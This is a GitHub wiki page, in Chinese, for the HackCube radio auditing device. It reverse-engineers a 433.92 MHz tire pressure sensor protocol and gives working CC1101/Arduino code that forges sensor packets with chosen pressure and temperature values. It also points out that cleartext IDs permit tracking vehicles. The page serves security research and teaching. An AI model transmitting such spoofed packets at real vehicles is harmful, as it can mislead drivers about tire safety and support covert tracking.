-
Notifications
You must be signed in to change notification settings - Fork 91
TPMS
mobier edited this page Jan 1, 2019
·
3 revisions
HackCube 在我们最初的想法中应该是一款便携式的户外无线电审计硬件平台,以往在户外环境中对一些设备进行安全检测时,经常抱着电脑然后连接无线电设备蹲着或者坐在地上会吸引不少人的眼球,十分尴尬,而现在只需要把HackCube装进口袋,只需要通过手机链接上HackCube的WIFI,打开网页后台就能特别方便的对这些设备进行安全审计
常规软件无线电硬件设备的价格让不少人望而却步,软件无线电也会有一定的技术门槛,不少初学者买回软件无线电设备之后只尝试了简单的信号重放之类的功能,只有少数人会逆向数据中的协议,对数据进行更加深层次的攻击,所以在平台上封装了常见的无线攻击的方式,只需要在后台上简单的操作就能实现原本的常见的射频攻击
以上几点是我们做HackCube的初衷,HackCube是一款低成本,便携式,同时工作在多个无线射频频段无线电安全审计平台,同时我们会给HackCube提供丰富的案例方便初学者能够能加好的了解无线电领域安全!
我们团队之前也有用USRP和GNUradio对其他的胎压设备进行的安全检测,我不使用这套环境的原因是原本软件无线电的设备和笔记本已经算不小的一套设备,通常测试环境都在户外,在这种环境下对这个胎压系统做安全检测实在不方便,并且一套无线电设备也不是一般入门小白能消费的起的,所以这也是为什么我想打造一套低成本便携性无线电攻防设备的原因.
然后我们可以通过观察频谱(Fosphor)方式得到该信号工作在433.92Mhz上,调制方式为2-FSK,两个主瓣之间的频率偏差(Deviation)20.5Khz,然后我们通过软件无线电的方式将胎压的原始信号接收下来进行分析
2FSK调制方式简单来说就是两种频率来表示0,1,如图所示假如我们要发射"11100101",这段数据在要发送"1"数据时候频率切换成了载波频率F1,要发送"0"数据时候切换到载波频率F2,最后的调制输出就是我们用软件无线电接收到的结果了,然后我们可以通过这种方式将信号数据解调下来了进行分析了
这个就是整一段胎压传感器发射出来的信号了,前面是前导码用于唤醒接收端使用的,前导码后面一个特别长的脉冲信号是同步引导码用于发射端和接收端同步时钟使用的,后面就是胎压的有效数据了,我们可以对这个有效数据进行分析了
最开始分析信号时候以为数据是通过曼切斯特进行编码的,发现用曼切斯特方式怎么解码都不对,后来分析很久之后查了一下芯片的datasheet才发现是自有编码协议,这个就是传感器的编码规则.下一个Bit的波形是会根据上一个Bit波形结尾的电平来决定的,知道编码规则后通过这个我们对数据进行进行解码,以一个字节的信号的波形举例吧(右图),从开头的Bit 0开始讲吧,可以看到前面的脉冲是高电平波形,这时候如果要发送Bit0的数据就需要输出NRZ"01",如果之前是低电平的话则输出"10",如果是要输出Bit1同理,上一个波形结尾为高电平输出NRZ"00",如果是低电平的话输出NRZ"11,就可以通过这种方式得到一个字节的数据,二进制"01011100",然后转成十六进制,这一段的波形就表示0x5C的数据内容了
0x20, 0x95, 0x91, 0x85 //ID(识别码)
0xA0, //电压
0x42, //压力 显示数值乘于3.2,如果要显示胎压2.0 需要传输,20*3.2=64(0x40)
0x63, //温度 显示数据加上0x37,如果要显示44°C 需要传输44+55(0x37)=99(0x63)
0x08, //气伐
0x00,0x00 //CRC16 校验码
首先我们来说一下这里的参数,ID是每个传感器的序列号类似的标识符,一套胎压系统配备四个传感器所以出厂时候会绑定四个ID,然后就是气压,温度气阀的数据,通常低于或高于设置的数值就会进行报警,每家胎压设置的阈值都不一样我们就不过多的说了.然后就是数据中CRC校验.将所有发射的数据进行CRC得出两个字节的校验数据附加到数据结尾.
byte TPMS_data[11] = {
0x20, 0x95, 0x91, 0x85, 0xA0, 20 * 3.2, 44 + 0x37, 0x00
};
//20 95 91 85 A0 40 63 00 52 8C
byte Transmit_data[11] = { //要发射的胎压数据
0x20, 0x95, 0x91, 0x85, 0xA0, 20 * 3.2, 44 + 0x37, 0x00
};
uint16_t crc_out = calc_crc(Transmit_data, 8, 0xffff); //然后根据这8个字节的有效数据算出2个字节的CRC校验码
uint16_t calc_crc(byte * msg, int n, uint16_t init){
uint16_t x = init;
while (n--){
x = crc_xmodem_update(x, (uint16_t) * msg++);
}
return (x);
}
uint16_t crc_xmodem_update (uint16_t crc, uint8_t data){
int i;
crc = crc ^ ((uint16_t)data << 8);
for (i = 0; i < 8; i++){
if (crc & 0x8000)
crc = (crc << 1) ^ 0x1021; //(polynomial = 0x1021)
else
crc <<= 1;
}
return crc;
}
之后我们就可以根据这个去发射伪造传感器的数据了,这里我使用的TI的CC1101 射频芯片,我们通过Atmega32u4通过SPI(MOSI,MISO,SCK,CS)配置射频芯片CC1101的相关射频寄存器,然后通过CC1101的GDO0引脚将射频数据发出,也可以采用数据包模式将数据发射出来,但是因为数据包模式不方便兼容其他的类型的胎压设备
#define CC1101_TPMS_IOCFG2 0x29
#define CC1101_TPMS_IOCFG1 0x2E
#define CC1101_TPMS_IOCFG0 0x06
#define CC1101_TPMS_FIFOTHR 0x47
#define CC1101_TPMS_SYNC1 0xD3
#define CC1101_TPMS_SYNC0 0x91
#define CC1101_TPMS_PKTLEN 0x05
#define CC1101_TPMS_PKTCTRL1 0x04
#define CC1101_TPMS_PKTCTRL0 0x30
#define CC1101_TPMS_ADDR 0x00
#define CC1101_TPMS_CHANNR 0x00
#define CC1101_TPMS_FSCTRL1 0x06
#define CC1101_TPMS_FSCTRL0 0x00
#define CC1101_TPMS_MDMCFG4 0xF8
#define CC1101_TPMS_MDMCFG3 0x9B
#define CC1101_TPMS_MDMCFG2 0x33
#define CC1101_TPMS_MDMCFG1 0x22
#define CC1101_TPMS_MDMCFG0 0xF8
#define CC1101_TPMS_DEVIATN 0x00
#define CC1101_TPMS_MCSM2 0x07
#define CC1101_TPMS_MCSM1 0x30
#define CC1101_TPMS_MCSM0 0x18
#define CC1101_TPMS_FOCCFG 0x16
#define CC1101_TPMS_BSCFG 0x6C
#define CC1101_TPMS_AGCCTRL2 0x03
#define CC1101_TPMS_AGCCTRL1 0x40
#define CC1101_TPMS_AGCCTRL0 0x91
#define CC1101_TPMS_WOREVT1 0x87
#define CC1101_TPMS_WOREVT0 0x6B
#define CC1101_TPMS_WORCTRL 0xFB
#define CC1101_TPMS_FREND1 0x56
#define CC1101_TPMS_FREND0 0x11
#define CC1101_TPMS_FSCAL3 0xE9
#define CC1101_TPMS_FSCAL2 0x2A
#define CC1101_TPMS_FSCAL1 0x00
#define CC1101_TPMS_FSCAL0 0x1F
#define CC1101_TPMS_RCCTRL1 0x41
#define CC1101_TPMS_RCCTRL0 0x00
#define CC1101_TPMS_FSTEST 0x59
#define CC1101_TPMS_PTEST 0x7F
#define CC1101_TPMS_AGCTEST 0x3F
#define CC1101_TPMS_TEST2 0x81
#define CC1101_TPMS_TEST1 0x35
#define CC1101_TPMS_TEST0 0x0B
这个是根据胎压传感器信号生成的CC1101寄存器的配置,可以通过SmartRF Studio配置完参数后导出,不过有些寄存器是不支持IDE去进行设置的,必须是根据芯片的datasheet去修改的,比如说让射频芯片处于异步模式,切换射频芯片的工作状态等等.
void setfreq(unsigned long int freq) { //参考datasheet写的一个设置工作射频频率的函数,可以使用SmartRF Studio计算得出
unsigned long freqnum = freq / 396.734569;
byte freqx[3];
freqx[0] = freqnum;
freqx[1] = freqnum >> 8;
freqx[2] = freqnum >> 16;
cc1101.writeReg(CC1101_FREQ2, freqx[2]);
cc1101.writeReg(CC1101_FREQ1, freqx[1]);
cc1101.writeReg(CC1101_FREQ0, freqx[0]);
}
void CC1101_config() {
cc1101.SS_PIN = A3;//选择CC1101射频模块连接主控端的片选引脚
cc1101.init();//初始化CC1101并对射频芯片进行寄存器配置
setfreq(433925000);//配置射频芯片工作频率(刚刚通过频谱仪得到的频点信息)
const byte paTable[8] = {0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
cc1101.writeBurstReg(CC1101_PATABLE, (byte*)paTable, 8);//配置射频芯片射频功率(设置参考datasheet,SmartRF Studio)
cc1101.writeReg(CC1101_MCSM0, 0x08);//配置射频芯片XOSC校准(参考datasheet)
cc1101.writeReg(CC1101_MDMCFG2, 0x03); //将射频芯片芯片调制模式设置为FSK
cc1101.writeReg(CC1101_DEVIATN, 0x35); //设置2FSK两个主瓣的频差
cc1101.writeReg(CC1101_IOCFG0, 0x0d); //设置异步模式
}
在cc1101.init()函数中将刚刚的射频配置写入CC1101的相关寄存器中,然后我们挑几个关键的讲讲,setfreq函数用于将CC1101设置在胎压的工作频率上,MDMCFG2设置芯片的调制模式为2FSK,我们这里使用的芯片的异步模式,就是通过引脚去将数据发射出来,不是通过SPI方式将要发射的数据写入到芯片的发射缓存区中
// id 电压 压力 温度 漏气
//0xF0, 0xFB, 0x23, 0x85, 0xA0, 0x42, 0x60, 0x08
byte left_back[8] = { //待伪造其中一个轮胎的传感器数据
0xF0, 0xFB, 0x23, 0x85, 0xA0, 21 * 3.2, 22+ 0x37, 0x00
};
Attack_TPMS(left_back); //发射函数
void Attack_TPMS(byte * Tansmit_data) {//发射调用的函数
cc1101.cmdStrobe(CC1101_STX);//将射频芯片配置为发射状态
delayMicroseconds(802);//因为射频芯片进入TX状态后需要校准时钟所需延迟802Us
Transmit_TPMS(Tansmit_data);//发射数据处理函数
cc1101.cmdStrobe(CC1101_SIDLE);//将芯片状态从TX转入IDLE空闲状态,否则芯片会一直发射2FSK信号
delay(65);//两个信号间隔的安全时间
//.... 函数内的在执行一遍
}
void Transmit_TPMS(byte * Transmit_data) {
int len = 8;
lastbit = true;//根据上一个Bit的电平变化来决定下一个Bit的波形
uint16_t crc_out = calc_crc(Transmit_data, len, 0xffff); //算出发射数组中的CRC值
int msb = (crc_out & 0xff00) >> 8;
int lsb = (crc_out & 0x00ff) ;
Transmit_data[8] = lsb;
Transmit_data[9] = msb;//协议中两个字节的CRC数据
len += 2;
Sync_1();//发射前导码和同步值
for (int i = 0; i < len; i++) {
Transmit_byte_1(Transmit_data[i]);//根据数组大小发射数组中的数据,操作底层硬件io
}
digitalWrite(pin, HIGH);
delayMicroseconds(bit_delay_1 * 3);
digitalWrite(pin, LOW);//信号结尾端
}
#define bit_delay_1 111 //9.09k 速率 通过我们刚刚在分析出的信号速率得到的
#define pin 3// MCU 连接 CC1101 的GDO0 引脚(异步模式发射引脚)
void Transmit_bit0() {//发射Bit0的波形
if (lastbit) {//根据(lastbit)上一个bit的波形电平来产生出下个一个信号的波形
digitalWrite(pin, LOW); //通过控制 CC1101 的GDO0引脚来产生出对应的波形信号
delayMicroseconds(bit_delay_1);//该波形的持续时延,波形参考编码规则
digitalWrite(pin, HIGH);
delayMicroseconds(bit_delay_1);
lastbit = true;
} else {
digitalWrite(pin, HIGH);
delayMicroseconds(bit_delay_1);//该波形的持续时延,波形参考编码规则
digitalWrite(pin, LOW);
delayMicroseconds(bit_delay_1);
lastbit = false;
}
}
void Transmit_bit1() { //发射Bit1的波形
if (lastbit) {//根据(lastbit)上一个bit的波形电平来产生出下个一个信号的波形
digitalWrite(pin, LOW);
delayMicroseconds(bit_delay_1 * 2); //该波形的持续时延,波形参考编码规则
lastbit = false;
} else {
digitalWrite(pin, HIGH);
delayMicroseconds(bit_delay_1 * 2); //该波形的持续时延,波形参考编码规则
lastbit = true;
}
}
void Transmit_byte_1(byte data) {//处理发射数据的函数
for (int a = 0; a < 8; a++) { //位移Byte数据根据每个Bit 在io上产生出相应的规则
if (data & 0x80)
Transmit_bit1();
else
Transmit_bit0();
data = data << 1;
}
}
因为胎压数据没有经过任何的加密的操作,完全是明文传输仅仅只有CRC进行校验,只要知道其中使用的编码规则或者协议数据就可以很简单的对这个胎压传感器进行伪造攻击!并且其中传感器ID是明文传输的,只要在一个城市中部署足够多的嗅探节点可以对安装了胎压的汽车进行轨迹分析,从而分析出每个车主的生活轨迹
然后在我们的HackCube 上已经封装好了这个伪造胎压传感器的功能,各位对这块感兴趣的小伙伴可以看下我们HackCube 有任何问题的欢迎在我们的社区上交流
http://ingelect.esy.es/pdf/FXTH871x7.pdf http://www.ti.com/lit/ds/symlink/cc1101.pdf